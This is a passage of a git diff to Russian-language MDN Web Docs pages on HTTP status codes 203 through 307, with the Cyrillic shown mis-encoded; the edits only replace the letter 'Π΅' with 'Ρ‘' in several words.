<p>"The <code>203"</code> ΠΎΡ‚Π²Π΅Ρ‚ Β Π°Π½Π°Π»ΠΎΠ³ΠΈΡ‡Π΅Π½ Π·Π½Π°Ρ‡Π΅Π½ΠΈΡŽΒ <code><a href="/en-US/docs/Web/HTTP/Headers/Warning#Warning_codes">214</a></code>, Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ "<code>Transformation Applied"</code>, ΠΊΠΎΠ΄Π°Β  {{HTTPHeader("Warning")}} ΠΈΠΌΠ΅Π΅Ρ‚ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ прСимущСство, ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΠΌΠΎΠ΅ ΠΊ ΠΎΡ‚Π²Π΅Ρ‚Π°ΠΌ с Π»ΡŽΠ±Ρ‹ΠΌ ΠΊΠΎΠ΄ΠΎΠΌ состояния.</p>
diff --git a/files/ru/web/http/status/204/index.html b/files/ru/web/http/status/204/index.html
index c874bd3e14..299a8c9b81 100644
--- a/files/ru/web/http/status/204/index.html
+++ b/files/ru/web/http/status/204/index.html
@@ -5,9 +5,9 @@ translation_of: Web/HTTP/Status/204
---
<div>{{HTTPSidebar}}</div>
-<p>"The HTTP <strong><code>204 No Content"</code></strong> ΠΊΠΎΠ΄ ΠΎΡ‚Π²Π΅Ρ‚Π° статуса успСха ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ запрос ΠΈΠΌΠ΅Π΅Ρ‚ успСх, Π½ΠΎ Ρ‡Ρ‚ΠΎ ΠΊΠ»ΠΈΠ΅Π½Ρ‚Ρƒ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ ΡƒΡ…ΠΎΠ΄ΠΈΡ‚ΡŒ со своСй Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ страницы. По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ ΠΎΡ‚Π²Π΅Ρ‚ <strong>204</strong>Β  ΠΊΡΡˆΠΈΡ€ΡƒΠ΅Ρ‚ΡΡ. Π’ Ρ‚Π°ΠΊΠΎΠΉ ΠΎΡ‚Π²Π΅Ρ‚ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½Β Β {{HTTPHeader("ETag")}}.</p>
+<p>"The HTTP <strong><code>204 No Content"</code></strong> ΠΊΠΎΠ΄ ΠΎΡ‚Π²Π΅Ρ‚Π° статуса успСха ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ запрос ΠΈΠΌΠ΅Π΅Ρ‚ успСх, Π½ΠΎ Ρ‡Ρ‚ΠΎ ΠΊΠ»ΠΈΠ΅Π½Ρ‚Ρƒ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ ΡƒΡ…ΠΎΠ΄ΠΈΡ‚ΡŒ со своСй Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ страницы. По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ ΠΎΡ‚Π²Π΅Ρ‚ <strong>204</strong>Β  ΠΊΡΡˆΠΈΡ€ΡƒΠ΅Ρ‚ΡΡ. Π’ Ρ‚Π°ΠΊΠΎΠΉ ΠΎΡ‚Π²Π΅Ρ‚ Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½Β Β {{HTTPHeader("ETag")}}.</p>
-<p>ΠžΠ±Ρ‰ΠΈΠΌ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠΌ использования являСтся Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π΅Π½ΠΈΠ΅ <strong>204</strong> Π² Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅ запроса {{HTTPMethod("PUT")}}, обновлСния рСсурса, Π±Π΅Π· измСнСния Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ содСрТимого страницы, ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅ΠΌΠΎΠΉ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ. Если рСсурс создан, вмСсто Π½Π΅Π³ΠΎ возвращаСтся {{HTTPStatus("201")}} <strong>Created</strong>. Если страница Π΄ΠΎΠ»ΠΆΠ½Π° Π±Ρ‹Ρ‚ΡŒ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½Π° Π½Π° вновь ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½Π½ΡƒΡŽ страницу, вмСсто Π½Π΅Π΅ слСдуСт ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ {{HTTPStatus("200")}}.</p>
+<p>ΠžΠ±Ρ‰ΠΈΠΌ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠΌ использования являСтся Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π΅Π½ΠΈΠ΅ <strong>204</strong> Π² Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅ запроса {{HTTPMethod("PUT")}}, обновлСния рСсурса, Π±Π΅Π· измСнСния Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ содСрТимого страницы, ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅ΠΌΠΎΠΉ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ. Если рСсурс создан, вмСсто Π½Π΅Π³ΠΎ возвращаСтся {{HTTPStatus("201")}} <strong>Created</strong>. Если страница Π΄ΠΎΠ»ΠΆΠ½Π° Π±Ρ‹Ρ‚ΡŒ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½Π° Π½Π° вновь ΠΎΠ±Π½ΠΎΠ²Π»Ρ‘Π½Π½ΡƒΡŽ страницу, вмСсто Π½Π΅Ρ‘ слСдуСт ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ {{HTTPStatus("200")}}.</p>
<h2 id="Бтатус">Бтатус</h2>
diff --git a/files/ru/web/http/status/206/index.html b/files/ru/web/http/status/206/index.html
index d34fac6443..a670db7fd3 100644
--- a/files/ru/web/http/status/206/index.html
+++ b/files/ru/web/http/status/206/index.html
@@ -8,7 +8,7 @@ translation_of: Web/HTTP/Status/206
<p>"The HTTPΒ <strong><code>206 Partial Content"</code></strong>ΠΊΠΎΠ΄Β ΠΎΡ‚Π²Π΅Ρ‚Π° Π½Π° статус ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎΠ³ΠΎ Β ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ запрос прСуспСл, ΠΈ Ρ‚Π΅Π»ΠΎ содСрТит Π·Π°ΠΏΡ€ΠΎΡˆΠ΅Π½Π½Ρ‹Π΅ Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ…, ΠΊΠ°ΠΊ описано Π²Β Β {{HTTPHeader("Range")}} запроса</p>
-<p>Если сущСствуСт Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄ΠΈΠ½ Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½, {{HTTPHeader("Content-Type")}} всСго ΠΎΡ‚Π²Π΅Ρ‚Π° задаСтся Ρ‚ΠΈΠΏΠΎΠΌ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°, Π° Ρ‚Π°ΠΊΠΆΠ΅ {{HTTPHeader("Content-Range")}}</p>
+<p>Если сущСствуСт Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄ΠΈΠ½ Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½, {{HTTPHeader("Content-Type")}} всСго ΠΎΡ‚Π²Π΅Ρ‚Π° задаётся Ρ‚ΠΈΠΏΠΎΠΌ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°, Π° Ρ‚Π°ΠΊΠΆΠ΅ {{HTTPHeader("Content-Range")}}</p>
<p>Если нСсколько Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½ΠΎΠ² ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½Ρ‹ ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ, {{HTTPHeader("Content-Type")}}Β Π·Π°Π΄Π°Π½ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <strong>multipart/byteranges</strong>, ΠΈ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚ ΠΎΡ…Π²Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚ ΠΎΠ΄ΠΈΠ½ Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½, {{HTTPHeader("Content-Range")}}Β ΠΈ {{HTTPHeader("Content-Type")}}, ΠΎΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‰ΠΈΠΉ Π΅Π³ΠΎ.</p>
</div>
diff --git a/files/ru/web/http/status/301/index.html b/files/ru/web/http/status/301/index.html
index 8456c79e66..3020b45294 100644
--- a/files/ru/web/http/status/301/index.html
+++ b/files/ru/web/http/status/301/index.html
@@ -9,9 +9,9 @@ translation_of: Web/HTTP/Status/301
---
<div>{{HTTPSidebar}}</div>
-<p>Код пСрСнаправлСния "<code><strong>301</strong></code><strong><code>Β Moved Permanently</code></strong>" ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Π° ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ гипСртСкста (HTTP) ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Π·Π°ΠΏΡ€ΠΎΡˆΠ΅Π½Π½Ρ‹ΠΉ рСсурс Π±Ρ‹Π» ΠΎΠΊΠΎΠ½Ρ‡Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π΅Π½ Π² URL, ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΉ Π² Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ΅ {{HTTPHeader("Location")}}. Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€ Π² случаС Ρ‚Π°ΠΊΠΎΠ³ΠΎ ΠΎΡ‚Π²Π΅Ρ‚Π° пСрСнаправляСтся Π½Π° эту страницу, Π° поисковыС систСмы ΠΎΠ±Π½ΠΎΠ²Π»ΡΡŽΡ‚ свои ссылки Π½Π° рСсурс (говоря языком SEO, вСс страницы пСрСносится Π½Π° Π½ΠΎΠ²Ρ‹ΠΉ URL-адрСс).</p>
+<p>Код пСрСнаправлСния "<code><strong>301</strong></code><strong><code>Β Moved Permanently</code></strong>" ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Π° ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ гипСртСкста (HTTP) ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Π·Π°ΠΏΡ€ΠΎΡˆΠ΅Π½Π½Ρ‹ΠΉ рСсурс Π±Ρ‹Π» ΠΎΠΊΠΎΠ½Ρ‡Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Ρ‘Π½ Π² URL, ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΉ Π² Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ΅ {{HTTPHeader("Location")}}. Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€ Π² случаС Ρ‚Π°ΠΊΠΎΠ³ΠΎ ΠΎΡ‚Π²Π΅Ρ‚Π° пСрСнаправляСтся Π½Π° эту страницу, Π° поисковыС систСмы ΠΎΠ±Π½ΠΎΠ²Π»ΡΡŽΡ‚ свои ссылки Π½Π° рСсурс (говоря языком SEO, вСс страницы пСрСносится Π½Π° Π½ΠΎΠ²Ρ‹ΠΉ URL-адрСс).</p>
-<p>Π”Π°ΠΆΠ΅ Ссли спСцификация Ρ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΈ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠΈ пСрСнаправлСния, ΠΌΠ΅Ρ‚ΠΎΠ΄ ΠΈ Ρ‚Π΅Π»ΠΎ запроса Π½Π΅ измСнялись, Π½Π΅ всС ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ прилоТСния ΠΎΠ±Ρ€Π°Ρ‰Π°ΡŽΡ‚ Π½Π° это Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, ΠΈ Π²Ρ‹ всС Π΅Ρ‰Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΡ‚ΠΎΠ»ΠΊΠ½ΡƒΡ‚ΡŒΡΡ с ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ°ΠΌΠΈ ΠΈΠΌΠ΅ΡŽΡ‰ΠΈΠΌΠΈ этот Π±Π°Π³. ИмСнно поэтому ΠΊΠΎΠ΄ <strong>301 </strong>рСкомСндуСтся Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² качСствС ΠΎΡ‚Π²Π΅Ρ‚Π° Π½Π° {{HTTPMethod("GET")}} ΠΈΠ»ΠΈ {{HTTPMethod("HEAD")}} запрос, Π° для {{HTTPMethod("POST")}} рСкомСндуСтся ΠΊΠΎΠ΄ {{HTTPStatus("308", "308 Permanent Redirect")}}, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ ΠΎΠ½ явно Π·Π°ΠΏΡ€Π΅Ρ‰Π°Π΅Ρ‚ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Π° запроса.</p>
+<p>Π”Π°ΠΆΠ΅ Ссли спСцификация Ρ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΈ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠΈ пСрСнаправлСния, ΠΌΠ΅Ρ‚ΠΎΠ΄ ΠΈ Ρ‚Π΅Π»ΠΎ запроса Π½Π΅ измСнялись, Π½Π΅ всС ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ прилоТСния ΠΎΠ±Ρ€Π°Ρ‰Π°ΡŽΡ‚ Π½Π° это Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, ΠΈ Π²Ρ‹ всС Π΅Ρ‰Ρ‘ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΡ‚ΠΎΠ»ΠΊΠ½ΡƒΡ‚ΡŒΡΡ с ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ°ΠΌΠΈ ΠΈΠΌΠ΅ΡŽΡ‰ΠΈΠΌΠΈ этот Π±Π°Π³. ИмСнно поэтому ΠΊΠΎΠ΄ <strong>301 </strong>рСкомСндуСтся Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² качСствС ΠΎΡ‚Π²Π΅Ρ‚Π° Π½Π° {{HTTPMethod("GET")}} ΠΈΠ»ΠΈ {{HTTPMethod("HEAD")}} запрос, Π° для {{HTTPMethod("POST")}} рСкомСндуСтся ΠΊΠΎΠ΄ {{HTTPStatus("308", "308 Permanent Redirect")}}, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ ΠΎΠ½ явно Π·Π°ΠΏΡ€Π΅Ρ‰Π°Π΅Ρ‚ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Π° запроса.</p>
<h2 id="Бтатус">Бтатус</h2>
diff --git a/files/ru/web/http/status/302/index.html b/files/ru/web/http/status/302/index.html
index 34c5344642..f04eaea946 100644
--- a/files/ru/web/http/status/302/index.html
+++ b/files/ru/web/http/status/302/index.html
@@ -9,11 +9,11 @@ translation_of: Web/HTTP/Status/302
---
<div>{{HTTPSidebar}}</div>
-<p>HTTP ΠΊΠΎΠ΄ пСрСнаправлСния <code><strong>302</strong></code><strong><code>Β Found</code></strong> ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Π·Π°ΠΏΡ€ΠΎΡˆΠ΅Π½Π½Ρ‹ΠΉ рСсурс Π±Ρ‹Π» Π²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π΅Π½ ΠΏΠΎ адрСсу, ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΌΡƒ Π² Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ΅ {{HTTPHeader("Location")}}. ΠŸΠΎΠ»ΡƒΡ‡ΠΈΠ² Ρ‚Π°ΠΊΠΎΠΉ ΠΎΡ‚Π²Π΅Ρ‚ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ пСрСнаправляСтся Π½Π° Π½ΠΎΠ²ΡƒΡŽ страницу, Π½ΠΎ поисковыС систСмы Π½Π΅ ΠΎΠ±Π½ΠΎΠ²Π»ΡΡŽΡ‚ свои ссылки Π½Π° рСсурс (Π² ΠΆΠ°Ρ€Π³ΠΎΠ½Π΅ SEO говорят, Ρ‡Ρ‚ΠΎ вСс ссылки (link-juice) Π½Π΅ мСняСтся ΠΈ Π½Π΅ отправляСтся Π½Π° Π½ΠΎΠ²Ρ‹ΠΉ URL-адрСс).</p>
+<p>HTTP ΠΊΠΎΠ΄ пСрСнаправлСния <code><strong>302</strong></code><strong><code>Β Found</code></strong> ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Π·Π°ΠΏΡ€ΠΎΡˆΠ΅Π½Π½Ρ‹ΠΉ рСсурс Π±Ρ‹Π» Π²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Ρ‘Π½ ΠΏΠΎ адрСсу, ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΌΡƒ Π² Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ΅ {{HTTPHeader("Location")}}. ΠŸΠΎΠ»ΡƒΡ‡ΠΈΠ² Ρ‚Π°ΠΊΠΎΠΉ ΠΎΡ‚Π²Π΅Ρ‚ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ пСрСнаправляСтся Π½Π° Π½ΠΎΠ²ΡƒΡŽ страницу, Π½ΠΎ поисковыС систСмы Π½Π΅ ΠΎΠ±Π½ΠΎΠ²Π»ΡΡŽΡ‚ свои ссылки Π½Π° рСсурс (Π² ΠΆΠ°Ρ€Π³ΠΎΠ½Π΅ SEO говорят, Ρ‡Ρ‚ΠΎ вСс ссылки (link-juice) Π½Π΅ мСняСтся ΠΈ Π½Π΅ отправляСтся Π½Π° Π½ΠΎΠ²Ρ‹ΠΉ URL-адрСс).</p>
<p>НСсмотря Π½Π° Ρ‚Ρ€Π΅Π±ΠΎΠ²Π°Π½ΠΈΠ΅ спСцификации Π½Π΅ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ ΠΏΡ€ΠΈ ΠΏΠ΅Ρ€Π΅Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄ ΠΈ Ρ‚Π΅Π»ΠΎ запроса, Π½Π΅ всС ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½Ρ‹Π΅ ΠΊΠ»ΠΈΠ΅Π½Ρ‚Ρ‹ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡŽΡ‚ Π΅Π³ΠΎ, ΠΈ с Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ ΠΈΠ· Π½ΠΈΡ… ΠΌΠΎΠΆΠ½ΠΎ ΡΡ‚ΠΎΠ»ΠΊΠ½ΡƒΡ‚ΡŒΡΡ Π΄ΠΎ сих ΠΏΠΎΡ€. ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ рСкомСндуСтся ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ ΠΊΠΎΠ΄ <code>302</code>Β Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΊΠ°ΠΊ ΠΎΡ‚Π²Π΅Ρ‚ для ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² {{HTTPMethod("GET")}} ΠΈΠ»ΠΈ {{HTTPMethod("HEAD")}}. Для ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹Ρ… случаСв Π»ΡƒΡ‡ΡˆΠ΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΊΠΎΠ΄ {{HTTPStatus("307", "307 Temporary Redirect")}}, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Π² этом случаС ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Π° явно Π·Π°ΠΏΡ€Π΅Ρ‰Π΅Π½ΠΎ.</p>
-<p>Π’ Ρ‚Π΅Ρ… случаях, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄ Π±Ρ‹Π» ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ Π½Π° {{HTTPMethod("GET")}}, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ ΠΊΠΎΠ΄ {{HTTPStatus("303", "303 See Other")}}. Π­Ρ‚ΠΎ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ, Ссли Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π΄Π°Ρ‚ΡŒ ΠΎΡ‚Π²Π΅Ρ‚ Π½Π° ΠΌΠ΅Ρ‚ΠΎΠ΄ {{HTTPMethod("PUT")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π½Π΅ являСтся Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Π½Ρ‹ΠΌ рСсурсом, Π½ΠΎ являСтся ΠΏΠΎΠ΄Ρ‚Π²Π΅Ρ€ΠΆΠ΄Π°ΡŽΡ‰ΠΈΠΌ сообщСниСм (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Β«Π’Ρ‹ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ Π·Π°Π³Ρ€ΡƒΠ·ΠΈΠ»ΠΈ XYZΒ»).</p>
+<p>Π’ Ρ‚Π΅Ρ… случаях, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄ Π±Ρ‹Π» ΠΈΠ·ΠΌΠ΅Π½Ρ‘Π½ Π½Π° {{HTTPMethod("GET")}}, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ ΠΊΠΎΠ΄ {{HTTPStatus("303", "303 See Other")}}. Π­Ρ‚ΠΎ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ, Ссли Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π΄Π°Ρ‚ΡŒ ΠΎΡ‚Π²Π΅Ρ‚ Π½Π° ΠΌΠ΅Ρ‚ΠΎΠ΄ {{HTTPMethod("PUT")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π½Π΅ являСтся Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Π½Ρ‹ΠΌ рСсурсом, Π½ΠΎ являСтся ΠΏΠΎΠ΄Ρ‚Π²Π΅Ρ€ΠΆΠ΄Π°ΡŽΡ‰ΠΈΠΌ сообщСниСм (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Β«Π’Ρ‹ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ Π·Π°Π³Ρ€ΡƒΠ·ΠΈΠ»ΠΈ XYZΒ»).</p>
<h2 id="Бтатус">Бтатус</h2>
diff --git a/files/ru/web/http/status/307/index.html b/files/ru/web/http/status/307/index.html
index 38cdf13766..6978f10cfe 100644
--- a/files/ru/web/http/status/307/index.html
+++ b/files/ru/web/http/status/307/index.html
@@ -9,9 +9,9 @@ translation_of: Web/HTTP/Status/307
---
<div>{{HTTPSidebar}}</div>
-<p>{{Glossary("HTTP")}} ΠΊΠΎΠ΄ пСрСнаправлСния  <code><strong>307</strong>Β Temporary Redirect</code> ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Π·Π°ΠΏΡ€ΠΎΡˆΠ΅Π½Π½Ρ‹ΠΉ рСсурс Π±Ρ‹Π» Π²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π΅Π½ Π² URL-адрСс, ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΉ Π² Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ΅ {{HTTPHeader("Location")}}.</p>
+<p>{{Glossary("HTTP")}} ΠΊΠΎΠ΄ пСрСнаправлСния  <code><strong>307</strong>Β Temporary Redirect</code> ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Π·Π°ΠΏΡ€ΠΎΡˆΠ΅Π½Π½Ρ‹ΠΉ рСсурс Π±Ρ‹Π» Π²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Ρ‘Π½ Π² URL-адрСс, ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΉ Π² Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ΅ {{HTTPHeader("Location")}}.</p>
-<p>ΠœΠ΅Ρ‚ΠΎΠ΄ ΠΈ Ρ‚Π΅Π»ΠΎ исходного запроса ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ для выполнСния ΠΏΠ΅Ρ€Π΅Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½Π½ΠΎΠ³ΠΎ запроса. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄ Π±Ρ‹Π» ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ Π½Π° {{HTTPMethod("GET")}}, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ {{HTTPStatus("303", "303 See Other")}}. Π­Ρ‚ΠΎ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ, Ссли Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π΄Π°Ρ‚ΡŒ ΠΎΡ‚Π²Π΅Ρ‚ Π½Π° ΠΌΠ΅Ρ‚ΠΎΠ΄ {{HTTPMethod("PUT")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π½Π΅ являСтся Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Π½Ρ‹ΠΌ рСсурсом, Π° являСтся ΠΏΠΎΠ΄Ρ‚Π²Π΅Ρ€ΠΆΠ΄Π°ΡŽΡ‰ΠΈΠΌ сообщСниСм (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Β«Π’Ρ‹ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ Π·Π°Π³Ρ€ΡƒΠ·ΠΈΠ»ΠΈ XYZΒ»).</p>
